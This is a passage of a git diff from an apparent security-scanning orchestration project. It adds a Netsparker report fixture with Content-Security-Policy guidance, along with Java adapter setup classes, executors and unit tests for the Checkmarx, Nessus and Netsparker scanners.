Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + CSP is an added layer of security that helps to mitigate mainly Cross-site Scripting attacks.

+

CSP can be enabled instructing the browser with a Content-Security-Policy directive in a response header;

+
 Content-Security-Policy: script-src 'self';
+

or in a meta tag;

+
<meta http-equiv="Content-Security-Policy" content="script-src 'self';"> 
+

In the above example, you can restrict script loading only to the same domain. It will also restrict inline script executions both in the element attributes and the event handlers. There are various directives which you can use by declaring CSP:

+
    +
  • script-src: Restricts the script loading resources to the ones you declared. By default, it disables inline script executions unless you permit to the evaluation functions and inline scripts by the unsafe-eval and unsafe-inline keywords.
  • +
  • base-uri: Base element is used to resolve relative URL to absolute one. By using this CSP directive, you can define all possible URLs which could be assigned to base-href attribute of the document.
  • +
  • frame-ancestors: It is very similar to X-Frame-Options HTTP header. It defines the URLs by which the page can be loaded in an iframe.
  • +
  • frame-src / child-src: frame-src is the deprecated version of child-src. Both define the sources that can be loaded by iframe in the page. (Please note that frame-src was brought back in CSP 3)
  • +
  • object-src : Defines the resources that can be loaded by embedding such as Flash files, Java Applets.
  • +
  • img-src: As its name implies, it defines the resources where the images can be loaded from.
  • +
  • connect-src: Defines the whitelisted targets for XMLHttpRequest and WebSocket objects.
  • +
  • default-src: It is a fallback for the directives that mostly ends with -src suffix. When the directives below are not defined, the value set to default-src will be used instead: +
      +
    • child-src
    • +
    • connect-src
    • +
    • font-src
    • +
    • img-src
    • +
    • manifest-src
    • +
    • media-src
    • +
    • object-src
    • +
    • script-src
    • +
    • style-src
    • +
    +
  • +
+

When setting the CSP directives, you can also use some CSP keywords:

+
    +
  • none: Denies loading resources from anywhere.
  • +
  • self : Points to the document's URL (domain + port).
  • +
  • unsafe-inline: Permits running inline scripts.
  • +
  • unsafe-eval: Permits execution of evaluation functions such as eval().
  • +
+

In addition to CSP keywords, you can also use wildcard or only a scheme when defining whitelist URLs for the points. Wildcard can be used for subdomain and port portions of the URLs:

+
Content-Security-Policy: script-src https://*.example.com;
+
Content-Security-Policy: script-src https://example.com:*;
+
Content-Security-Policy: script-src https;
+

It is also possible to set a CSP in Report-Only mode instead of forcing it immediately in the migration period. Thus you can see the violations of the CSP policy in the current state of your web site while migrating to CSP:

+
Content-Security-Policy-Report-Only: script-src 'self'; report-uri: https://example.com;
]]>
+ There is no direct impact of not implementing CSP on your website. However, if your website is vulnerable to a Cross-site Scripting attack CSP can prevent successful exploitation of that vulnerability. By not implementing CSP you’ll be missing out this extra layer of security.

]]>
+ +
  • Enable CSP on your website by sending the Content-Security-Policy in HTTP response headers that instruct the browser to apply the policies you specified.
  • +
  • Apply the whitelist and policies as strict as possible.
  • +
  • Rescan your application to see if Netsparker Cloud identifies any weaknesses in your policies.
  • +]]>
    + + Enable CSP on your website by sending the Content-Security-Policy in HTTP response headers that instruct the browser to apply the policies you specified.

    ]]>
    + + ]]> + +
    +
    +
    \ No newline at end of file diff --git a/sechub-other/testsourcecode/README.md b/sechub-other/testsourcecode/README.md new file mode 100644 index 0000000000..34d868906a --- /dev/null +++ b/sechub-other/testsourcecode/README.md @@ -0,0 +1,3 @@ + +# What is this folder for? +Here are zip files containing sourcecode for code scanner testing. diff --git a/sechub-scan-product-checkmarx/build.gradle b/sechub-scan-product-checkmarx/build.gradle new file mode 100644 index 0000000000..c890240f2f --- /dev/null +++ b/sechub-scan-product-checkmarx/build.gradle @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-scan') + compile project(':sechub-adapter-checkmarx') + + testCompile project(':sechub-testframework') +} + diff --git a/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxInstallSetup.java b/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxInstallSetup.java new file mode 100644 index 0000000000..05dc86292d --- /dev/null +++ b/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxInstallSetup.java @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.checkmarx; + +import com.daimler.sechub.domain.scan.AnyTargetOneInstallSetup; + +public interface CheckmarxInstallSetup extends AnyTargetOneInstallSetup{ + + public String getTeamIdForNewProjects(); + +} diff --git a/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxInstallSetupImpl.java b/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxInstallSetupImpl.java new file mode 100644 index 0000000000..0ab1c25715 --- /dev/null +++ b/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxInstallSetupImpl.java @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.checkmarx; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.domain.scan.AbstractAnyTargetOneInstallSetup; +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +@Component +public class CheckmarxInstallSetupImpl extends AbstractAnyTargetOneInstallSetup implements CheckmarxInstallSetup { + + @Value("${sechub.adapter.checkmarx.newproject.teamid}") + @MustBeDocumented(value = "Initial team ID. When a scan is started a and checkmarx project is still missing, " + + "a new checkmarx project will be automatically created. " + + "For creation a team must be assigned to the project, which cannot be done by API " + + "(and its not clear which users should be included etc.). " + + "\n\nNormally this should not be necessary, because Admins should define a team (with sechubuser inside) alraedy before.") + private String teamIdForNewProjects; + + @Value("${sechub.adapter.checkmarx.baseurl}") + @MustBeDocumented(value = "Base url for checkmarx") + private String baseURL; + + @Value("${sechub.adapter.checkmarx.userid}") + @MustBeDocumented(value = "User id of checkmarx user", secret = true) + private String userId; + + @Value("${sechub.adapter.checkmarx.password}") + @MustBeDocumented(value = "Password of checkmarx user", secret = true) + private String password; + + @Value("${sechub.adapter.checkmarx.trustall:false}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_TRUSTALL) + private boolean trustAllCertificatesNecessary; + + @Override + public String getBaseURL() { + return baseURL; + } + + @Override + public String getUserId() { + return userId; + } + + @Override + public String getPassword() { + return password; + } + + public String getTeamIdForNewProjects() { + return teamIdForNewProjects; + } + + @Override + public boolean isHavingUntrustedCertificate() { + return trustAllCertificatesNecessary; + } + +} \ No newline at end of file diff --git a/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxProductExecutor.java b/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxProductExecutor.java new file mode 100644 index 0000000000..35da29e2ca --- /dev/null +++ b/sechub-scan-product-checkmarx/src/main/java/com/daimler/sechub/domain/scan/product/checkmarx/CheckmarxProductExecutor.java @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.checkmarx; + +import java.util.Collections; +import java.util.List; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapter; +import com.daimler.sechub.adapter.checkmarx.CheckmarxAdapterConfig; +import com.daimler.sechub.adapter.checkmarx.CheckmarxConfig; +import com.daimler.sechub.domain.scan.TargetRegistry.TargetRegistryInfo; +import com.daimler.sechub.domain.scan.product.AbstractCodeScanProductExecutor; +import com.daimler.sechub.domain.scan.product.ProductIdentifier; +import com.daimler.sechub.domain.scan.product.ProductResult; +import com.daimler.sechub.sharedkernel.MustBeDocumented; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.storage.JobStorage; +import com.daimler.sechub.sharedkernel.storage.StorageService; + +@Service +public class CheckmarxProductExecutor extends AbstractCodeScanProductExecutor { + + private static final Logger LOG = LoggerFactory.getLogger(CheckmarxProductExecutor.class); + + @Value("${sechub.adapter.checkmarx.scanresultcheck.period.minutes:-1}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_TIMEOUT) + private int scanResultCheckPeriodInMinutes; + + @Value("${sechub.adapter.checkmarx.scanresultcheck.timeout.minutes:-1}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_TIMEOUT) + private int scanResultCheckTimeOutInMinutes; + + @Autowired + CheckmarxAdapter checkmarxAdapter; + + @Autowired + CheckmarxInstallSetup installSetup; + + @Autowired + StorageService storageService; + + @Override + protected List executeWithAdapter(SecHubExecutionContext context, CheckmarxInstallSetup setup, TargetRegistryInfo data) + throws Exception { + LOG.debug("Trigger checkmarx adapter execution"); + + UUID jobUUID = context.getSechubJobUUID(); + String projectId = context.getConfiguration().getProjectId(); + + JobStorage storage = storageService.getJobStorage(projectId, jobUUID); + String path = storage.getAbsolutePath("sourcecode.zip"); + String projectName = context.getConfiguration().getProjectId(); + + /* @formatter:off */ + + CheckmarxAdapterConfig nessusConfig =CheckmarxConfig.builder(). + setTimeToWaitForNextCheckOperationInMinutes(scanResultCheckPeriodInMinutes). + setScanResultTimeOutInMinutes(scanResultCheckTimeOutInMinutes). + setUser(setup.getUserId()). + setFileSystemSourceFolders(data.getCodeUploadFileSystemFolders()). + setPassword(setup.getPassword()). + setTrustAllCertificates(setup.isHavingUntrustedCertificate()). + setPathToZipFile(path). + setTeamIdForNewProjects(setup.getTeamIdForNewProjects()). + setProjectId(projectName). + setUser(installSetup.getUserId()). + setPassword(installSetup.getPassword()). + setTraceID(context.getTraceLogIdAsString()). + /* TODO Albert Tregnaghi, 2018-10-09:policy id - always default id - what about config.getPoliciyID() ?!?! */ + setProductBaseUrl(setup.getBaseURL()). + build(); + /* @formatter:on */ + + /* execute nessus by adapter and return product result */ + String xml = checkmarxAdapter.start(nessusConfig); + ProductResult result = new ProductResult(context.getSechubJobUUID(), getIdentifier(), xml); + return Collections.singletonList(result); + } + + + + @Override + public ProductIdentifier getIdentifier() { + return ProductIdentifier.CHECKMARX; + } + + @Override + protected CheckmarxInstallSetup getInstallSetup() { + return installSetup; + } + +} diff --git a/sechub-scan-product-nessus/README.md b/sechub-scan-product-nessus/README.md new file mode 100644 index 0000000000..52aa655d50 --- /dev/null +++ b/sechub-scan-product-nessus/README.md @@ -0,0 +1,11 @@ + +About this project +================== + +ATTENTION: +---------- +This is attic stuff. We use SERECO now instead of faraday. + +This WAS an product executor project for product FARRADAY. + + diff --git a/sechub-scan-product-nessus/build.gradle b/sechub-scan-product-nessus/build.gradle new file mode 100644 index 0000000000..e637625012 --- /dev/null +++ b/sechub-scan-product-nessus/build.gradle @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-scan') + compile project(':sechub-adapter-nessus') + + testCompile project(':sechub-testframework') +} + diff --git a/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetup.java b/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetup.java new file mode 100644 index 0000000000..fb880ebebe --- /dev/null +++ b/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetup.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.nessus; + +import com.daimler.sechub.domain.scan.TargetIdentifyingMultiInstallSetup; + +public interface NessusInstallSetup extends TargetIdentifyingMultiInstallSetup{ + + public String getDefaultPolicyId(); +} diff --git a/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImpl.java b/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImpl.java new file mode 100644 index 0000000000..dd3d9c171a --- /dev/null +++ b/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImpl.java @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.nessus; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.domain.scan.AbstractTargetIdentifyingMultiInstallSetup; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +@Component +public class NessusInstallSetupImpl extends AbstractTargetIdentifyingMultiInstallSetup implements NessusInstallSetup{ + + @Value("${sechub.adapter.nessus.intranet.baseurl:}") + @MustBeDocumented("Base url of nessus used for intranet scans") + private String intranetNessusBaseURL; + + @Value("${sechub.adapter.nessus.internet.baseurl:}") + @MustBeDocumented("Base url of nessus used for internet scans") + private String internetNessusBaseURL; + + @Value("${sechub.adapter.nessus.intranet.userid:}") + @MustBeDocumented(value = "User id of nessus user (intranet)",secret=true) + private String intranetNessusUserId; + + @Value("${sechub.adapter.nessus.internet.userid:}") + @MustBeDocumented(value = "User id of nessus user (internet)",secret=true) + private String internetNessusUserId; + + @Value("${sechub.adapter.nessus.intranet.password:}") + @MustBeDocumented(value="Password for nessus instance used for intranet scans",secret=true) + private String intranetNessusPassword; + + @Value("${sechub.adapter.nessus.internet.password:}") + @MustBeDocumented(value="Password for nessus instance used for internet scans",secret=true) + private String internetNessusPassword; + + @Value("${sechub.adapter.nessus.defaultpolicyid}") + @MustBeDocumented("Default policy ID for nessus scans") + private String defaultPolicyId; + + @Value("${sechub.adapter.nessus.trustall:false}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_TRUSTALL) + private boolean trustAllCertificatesNecessary; + + @Override + protected String getBaseURLWhenInternetTarget() { + return internetNessusBaseURL; + } + + public String getDefaultPolicyId() { + return defaultPolicyId; + } + + @Override + protected String getBaseURLWhenDaimlerIntranetTarget() { + return intranetNessusBaseURL; + } + + @Override + protected String getUsernameWhenInternetTarget() { + return internetNessusUserId; + } + + @Override + protected String getUsernameWhenDaimlerIntranetTarget() { + return intranetNessusUserId; + } + + @Override + protected String getPasswordWhenInternetTarget() { + return internetNessusPassword; + } + + @Override + protected String getPasswordWhenDaimlerIntranetTarget() { + return intranetNessusPassword; + } + + @Override + public boolean isHavingUntrustedCertificate(TargetType target) { + return trustAllCertificatesNecessary; + } + +} \ No newline at end of file diff --git a/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusProductExecutor.java b/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusProductExecutor.java new file mode 100644 index 0000000000..cb26a2b19b --- /dev/null +++ b/sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusProductExecutor.java @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.nessus; + +import java.net.InetAddress; +import java.util.Collections; +import java.util.List; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.adapter.nessus.NessusAdapter; +import com.daimler.sechub.adapter.nessus.NessusAdapterConfig; +import com.daimler.sechub.adapter.nessus.NessusConfig; +import com.daimler.sechub.domain.scan.TargetRegistry.TargetRegistryInfo; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.domain.scan.product.AbstractInfrastructureScanProductExecutor; +import com.daimler.sechub.domain.scan.product.ProductIdentifier; +import com.daimler.sechub.domain.scan.product.ProductResult; +import com.daimler.sechub.sharedkernel.MustBeDocumented; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubInfrastructureScanConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +@Service +public class NessusProductExecutor extends AbstractInfrastructureScanProductExecutor { + + private static final Logger LOG = LoggerFactory.getLogger(NessusProductExecutor.class); + + @Value("${sechub.adapter.nessus.proxy.hostname:}") + @MustBeDocumented("Proxy hostname for nessus server connection, when empty no proxy is used. When not empty proxy port must be set too!") + String proxyHostname; + + @Value("${sechub.adapter.nessus.proxy.port:0}") + @MustBeDocumented("Proxy port for nessus server connection, default is 0. If you are setting a proxy hostname you have to configure this value correctly") + int proxyPort; + + + @Value("${sechub.adapter.nessus.scanresultcheck.period.minutes:-1}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_TIMEOUT) + private int scanResultCheckPeriodInMinutes; + + @Value("${sechub.adapter.nessus.scanresultcheck.timeout.minutes:-1}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_TIMEOUT) + private int scanResultCheckTimeOutInMinutes; + + @Autowired + NessusAdapter nessusAdapter; + + @Autowired + NessusInstallSetup installSetup; + + @Override + protected List executeWithAdapter(SecHubExecutionContext context, NessusInstallSetup setup, TargetRegistryInfo data) + throws Exception { + if (data.getURIs().isEmpty() && data.getIPs().isEmpty()) { + return Collections.emptyList(); + } + TargetType targetType = data.getTargetType(); + LOG.debug("Trigger nessus adapter execution for target type {} and setup {} ", targetType ,setup); + /* @formatter:off */ + NessusAdapterConfig nessusConfig = NessusConfig.builder(). + setTimeToWaitForNextCheckOperationInMinutes(scanResultCheckPeriodInMinutes). + setScanResultTimeOutInMinutes(scanResultCheckTimeOutInMinutes). + setUser(setup.getUserId(targetType)). + setPassword(setup.getPassword(targetType)). + setTrustAllCertificates(setup.isHavingUntrustedCertificate(targetType)). + setProxyHostname(proxyHostname). + setProxyPort(proxyPort). + setTraceID(context.getTraceLogIdAsString()). + /* TODO Albert Tregnaghi, 2018-02-13:policy id - always default id - what about config.getPoliciyID() ?!?! */ + setPolicyID(setup.getDefaultPolicyId()). + setProductBaseUrl(setup.getBaseURL(targetType)). + setTargetIPs(data.getIPs()). + setTargetURIs(data.getURIs()).build(); + /* @formatter:on */ + + /* execute nessus by adapter and return product result */ + String xml = nessusAdapter.start(nessusConfig); + ProductResult result = new ProductResult(context.getSechubJobUUID(), getIdentifier(), xml); + return Collections.singletonList(result); + } + + @Override + public ProductIdentifier getIdentifier() { + return ProductIdentifier.NESSUS; + } + + @Override + protected NessusInstallSetup getInstallSetup() { + return installSetup; + } + + @Override + protected List resolveInetAdressForTarget(SecHubConfiguration config) { + if (config==null) { + return Collections.emptyList(); + } + Optional infraScan = config.getInfraScan(); + if (! infraScan.isPresent()) { + return Collections.emptyList(); + } + return infraScan.get().getIps(); + } + + + +} diff --git a/sechub-scan-product-nessus/src/test/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImplTest.java b/sechub-scan-product-nessus/src/test/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImplTest.java new file mode 100644 index 0000000000..c994934f75 --- /dev/null +++ b/sechub-scan-product-nessus/src/test/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImplTest.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.nessus; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.scan.TargetIdentifyingMultiInstallSetup; + +public class NessusInstallSetupImplTest { + private NessusInstallSetupImpl setupToTest; + + @Before + public void before() { + setupToTest = new NessusInstallSetupImpl(); + } + + @Test + public void is_extending_double_install() { + assertTrue(setupToTest instanceof TargetIdentifyingMultiInstallSetup); + } + +} diff --git a/sechub-scan-product-nessus/src/test/java/com/daimler/sechub/domain/scan/product/nessus/NessusProductExecutorTest.java b/sechub-scan-product-nessus/src/test/java/com/daimler/sechub/domain/scan/product/nessus/NessusProductExecutorTest.java new file mode 100644 index 0000000000..52c43c184f --- /dev/null +++ b/sechub-scan-product-nessus/src/test/java/com/daimler/sechub/domain/scan/product/nessus/NessusProductExecutorTest.java @@ -0,0 +1,187 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.nessus; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.net.InetAddress; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.adapter.nessus.NessusAdapter; +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.domain.scan.resolve.TargetResolver; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubInfrastructureScanConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +public class NessusProductExecutorTest { + + private static final URI URI_1 = URI.create("www.coolstuf1.com"); + private static final URI URI_2 = URI.create("www.coolstuf2.com"); + private static final URI URI_3 = URI.create("www.coolstuf3.com"); + + private NessusProductExecutor executorToTest; + private SecHubExecutionContext context; + private NessusAdapter nessusAdapter; + private SecHubConfiguration config; + private TargetResolver targetResolver; + private Target target1; + private Target target2; + private Target target3; + private NessusInstallSetup installSetup; + + @Before + public void before() throws Exception { + context = mock(SecHubExecutionContext.class); + config = mock(SecHubConfiguration.class); + + target1 = new Target(URI_1, TargetType.INTERNET); + target2 = new Target(URI_2, TargetType.INTERNET); + target3 = new Target(URI_3, TargetType.INTERNET); + + targetResolver = mock(TargetResolver.class); + when(targetResolver.resolveTarget(URI_1)).thenReturn(target1); + when(targetResolver.resolveTarget(URI_2)).thenReturn(target2); + when(targetResolver.resolveTarget(URI_3)).thenReturn(target3); + + nessusAdapter = mock(NessusAdapter.class); + + installSetup= mock(NessusInstallSetup.class); + when(installSetup.getBaseURL(any())).thenReturn("baseURL"); + when(installSetup.getUserId(any())).thenReturn("user"); + when(installSetup.getPassword(any())).thenReturn("password"); + + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + + when(context.getConfiguration()).thenReturn(config); + when(context.getSechubJobUUID()).thenReturn(UUID.randomUUID()); + + executorToTest = new TestNessusProductExecutor(); + executorToTest.installSetup=installSetup; + + executorToTest.nessusAdapter = nessusAdapter; + + } + + @Test + public void when_three_root_urls_are_configured_and_apter_can_handle_target_the_adapter_is_called_1_times() + throws Exception { + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + + prepareInfraScanWithThreeURIs(); + + /* execute */ + executorToTest.execute(context); + + /* test */ + verify(nessusAdapter, times(1)).start(any()); + } + + @Test + public void when_three_root_urls_are_configured_and_apter_can_handle_3_targets_with_two_different_types_the_adapter_is_called_1_time() + throws Exception { + /* prepare */ + Target target2ButIntranet = new Target(URI_2, TargetType.INTRANET); + when(targetResolver.resolveTarget(URI_2)).thenReturn(target2ButIntranet); + + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(true); + + prepareInfraScanWithThreeURIs(); + + /* execute */ + executorToTest.execute(context); + + /* test */ + verify(nessusAdapter, times(2)).start(any()); + } + + @Test + public void when_three_root_urls_are_configured_and_apter_can_handle_2_targets_of_same_type_the_adapter_is_called_1_times() + throws Exception { + /* prepare */ + Target target2ButIntranet = new Target(URI_2, TargetType.INTRANET); + when(targetResolver.resolveTarget(URI_2)).thenReturn(target2ButIntranet); + + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + + prepareInfraScanWithThreeURIs(); + + /* execute */ + executorToTest.execute(context); + + /* test */ + verify(nessusAdapter, times(1)).start(any()); + } + @Test + public void nessus_resolves_ip_from_infrascan() throws Exception{ + /* prepare */ + SecHubInfrastructureScanConfiguration infraScan = mock(SecHubInfrastructureScanConfiguration.class); + List expectedIPList = new ArrayList<>(); + when(infraScan.getIps()).thenReturn(expectedIPList); + when(config.getInfraScan()).thenReturn(Optional.of(infraScan)); + + /* execute */ + List result = executorToTest.resolveInetAdressForTarget(config); + + /* test */ + assertEquals(expectedIPList,result); + } + + + + @Test + public void when_three_root_urls_are_configured_and_apter_cannot_handle_target_the_adapter_is_called_0_times() + throws Exception { + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(false); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + + prepareInfraScanWithThreeURIs(); + + /* execute */ + executorToTest.execute(context); + + /* test */ + verify(nessusAdapter, never()).start(any()); + } + + private void prepareInfraScanWithThreeURIs() throws URISyntaxException, SecHubExecutionException { + SecHubInfrastructureScanConfiguration webscan = mock(SecHubInfrastructureScanConfiguration.class); + when(config.getInfraScan()).thenReturn(Optional.of(webscan)); + List uris = new ArrayList<>(); + uris.add(URI_1); + uris.add(URI_2); + uris.add(URI_3); + when(webscan.getUris()).thenReturn(uris); + + } + + /** + * Own class to testing purpose - we can mock here the target resolver to + * protected field + * + * @author Albert Tregnaghi + * + */ + private class TestNessusProductExecutor extends NessusProductExecutor { + private TestNessusProductExecutor() { + super.targetResolver = NessusProductExecutorTest.this.targetResolver; + } + } + +} diff --git a/sechub-scan-product-netsparker/build.gradle b/sechub-scan-product-netsparker/build.gradle new file mode 100644 index 0000000000..b78c0ed303 --- /dev/null +++ b/sechub-scan-product-netsparker/build.gradle @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-scan') + compile project(':sechub-adapter-netsparker') + + testCompile project(':sechub-testframework') +} + diff --git a/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetup.java b/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetup.java new file mode 100644 index 0000000000..b6a3e78600 --- /dev/null +++ b/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetup.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.netsparker; + +import com.daimler.sechub.domain.scan.TargetIdentifiyingOneInstallSetup; + +public interface NetsparkerInstallSetup extends TargetIdentifiyingOneInstallSetup { + + public int getScanResultCheckPeriodInMinutes(); + + public int getScanResultCheckTimeOutInMinutes(); + + public String getAgentName(); + + public String getDefaultPolicyId(); + + public String getInternetAgentGroupName(); + + public String getIntranetAgentGroupName(); + + public String getNetsparkerLicenseId(); + + +} diff --git a/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetupImpl.java b/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetupImpl.java new file mode 100644 index 0000000000..73f2555641 --- /dev/null +++ b/sechub-scan-product-netsparker/src/main/java/com/daimler/sechub/domain/scan/product/netsparker/NetsparkerInstallSetupImpl.java @@ -0,0 +1,119 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product.netsparker; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.domain.scan.AbstractTargetIdentifyingOneInstallSetup; +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +@Component +public class NetsparkerInstallSetupImpl extends AbstractTargetIdentifyingOneInstallSetup implements NetsparkerInstallSetup{ + + @Value("${sechub.adapter.netsparker.intranet.agentgroupname:}") + @MustBeDocumented("The name of the agent group to be used by netsparker for *intranet scans*. If not set no agent group will be used.") + private String intranetAgentGroupName; + + @Value("${sechub.adapter.netsparker.internet.agentgroupname:}") + @MustBeDocumented("The name of the agent group to be used by netsparker for *intranet scans*. If not set no agent group will be used.") + private String internetAgentGroupName; + + @Value("${sechub.adapter.netsparker.userid}") + @MustBeDocumented(value="user id of netsparker user",secret=true) + String netsparkerUserId; + + @Value("${sechub.adapter.netsparker.apitoken}") + @MustBeDocumented(value="API token for netsparker user",secret=true) + String netsparkerAPIToken; + + @Value("${sechub.adapter.netsparker.baseurl}") + @MustBeDocumented(value="Base url for netsparker installation") + String netsparkerBaseURL; + + @Value("${sechub.adapter.netsparker.defaultpolicyid}") + @MustBeDocumented("Default policy ID for netsparker scans") + private String defaultPolicyId; + + @Value("${sechub.adapter.netsparker.trustall:false}") + @MustBeDocumented(AbstractAdapterConfigBuilder.DOCUMENT_INFO_TRUSTALL) + private boolean trustAllCertificatesNecessary; + + @Value("${sechub.adapter.netsparker.licenseid}") + @MustBeDocumented + String netsparkerLicenseId; + + @Value("${sechub.adapter.netsparker.agentname:}") + 